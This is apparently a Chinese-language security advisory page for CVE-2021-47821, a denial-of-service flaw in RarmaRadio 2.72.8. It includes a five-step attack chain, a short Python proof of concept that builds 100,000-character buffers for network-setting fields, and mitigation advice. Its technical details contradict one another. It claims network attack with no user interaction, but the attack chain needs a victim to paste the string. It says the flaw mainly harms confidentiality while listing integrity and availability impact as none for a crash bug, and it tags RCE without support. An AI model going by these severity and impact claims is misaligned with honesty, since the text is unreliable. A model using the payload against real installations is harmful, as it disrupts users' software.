IPBUF安全漏洞报告
English
CVE-2021-47821 CVSS 7.5 高危

CVE-2021-47821: RarmaRadio 2.72.8 拒绝服务漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47821
漏洞类型
缓冲区溢出/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RarmaRadio 2.72.8

相关标签

CVE-2021-47821拒绝服务缓冲区溢出RarmaRadio输入验证不足高危漏洞网络应用DoSRCE潜在漏洞利用

漏洞概述

CVE-2021-47821是RarmaRadio 2.72.8版本中存在的一个高危拒绝服务漏洞。该漏洞允许未经认证的远程攻击者通过在网络配置字段中输入超长字符序列(最多100,000个字符)来触发应用程序崩溃。RarmaRadio是一款流行的网络电台广播软件,用户可以通过它收听全球网络电台。攻击者利用该漏洞无需任何特殊权限即可实施攻击,仅需构造恶意输入并诱导用户将超长字符串粘贴到应用程序的网络设置字段中即可。该漏洞的CVSS评分为7.5,属于高危级别,主要影响系统的机密性,由于攻击导致应用程序崩溃,因此也间接影响服务的可用性。漏洞由VulnCheck安全团队发现并披露,建议受影响用户及时采取防护措施。

技术细节

该拒绝服务漏洞的根本原因在于RarmaRadio 2.72.8对网络配置字段的输入验证不足。应用程序在处理用户输入的网络设置参数(如服务器地址、端口号、代理配置等字段)时,未对输入字符串的长度进行合理限制。当攻击者或用户向这些字段输入超长字符串(可达到100,000个字符)时,会导致缓冲区溢出或内存耗尽。由于多个网络设置字段都存在此问题,攻击者可以同时在多个字段中填充大量字符数据,从而加速应用程序的不稳定性进程。攻击成功后,应用程序会立即崩溃或进入无响应状态,导致用户无法正常使用软件功能。在某些情况下,攻击者可能利用此漏洞进行进一步的恶意操作,但由于该漏洞的完整性影响(I:N)和可用性影响(A:N)均为无,实际上更倾向于造成服务中断而非代码执行。技术层面上,该漏洞属于经典的输入验证不足导致的拒绝服务问题,修复方案应在应用程序端增加输入长度校验逻辑。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标系统上安装的RarmaRadio版本,确认版本为2.72.8或更早版本,该版本存在输入验证不足的拒绝服务漏洞
STEP 2
载荷生成
攻击者构造超长字符缓冲区,通常生成100,000个字符的字符串(如全'A'字符序列),用于填充应用程序的网络配置字段
STEP 3
诱导攻击
攻击者通过社会工程学手段诱导受害者打开RarmaRadio应用程序的网络设置界面,并诱导用户将恶意载荷粘贴到多个网络配置字段中
STEP 4
触发漏洞
当用户将超长字符串粘贴到网络设置字段(如服务器地址、代理配置、端口等)并保存设置时,应用程序会尝试处理这些超长输入
STEP 5
拒绝服务
由于输入验证不足,应用程序在处理超长输入时发生缓冲区溢出或内存耗尽,导致应用程序崩溃或进入无响应状态,失去服务能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47821 PoC - RarmaRadio 2.72.8 DoS Exploit # Generate large buffer for network configuration fields import sys def generate_dos_payload(buffer_size=100000): """Generate oversized buffer to trigger DoS in RarmaRadio""" # Create a 100,000 character buffer oversized_buffer = 'A' * buffer_size return oversized_buffer def exploit_rarmaradio(): """ Exploitation steps: 1. Generate 100,000 character buffer 2. Paste the buffer into multiple network setting fields: - Server/Station URL field - Proxy server field - Port configuration fields - Authentication fields 3. Application will crash or become unstable """ payload = generate_dos_payload(100000) # Simulate injection into multiple fields fields = [ 'server_url', 'proxy_host', 'proxy_port', 'stream_url', 'authentication_username' ] exploit_data = {} for field in fields: exploit_data[field] = payload print(f"[+] Generated DoS payload: {len(payload)} bytes") print(f"[+] Target fields: {', '.join(fields)}") print(f"[+] Exploit data prepared for injection") return exploit_data if __name__ == '__main__': exploit_rarmaradio()

影响范围

RarmaRadio <= 2.72.8

防御指南

临时缓解措施
作为临时缓解措施,用户应避免将来源不明的超长字符串粘贴到RarmaRadio的网络配置字段中。在使用RarmaRadio时,只从官方和可信来源获取软件更新,并密切关注软件供应商发布的安全公告。如果怀疑应用程序已被攻击,应立即断开网络连接并终止应用程序进程,然后进行全面安全扫描。建议企业用户在边界防火墙处实施输入过滤策略,阻止异常大小的数据包传输到RarmaRadio应用程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表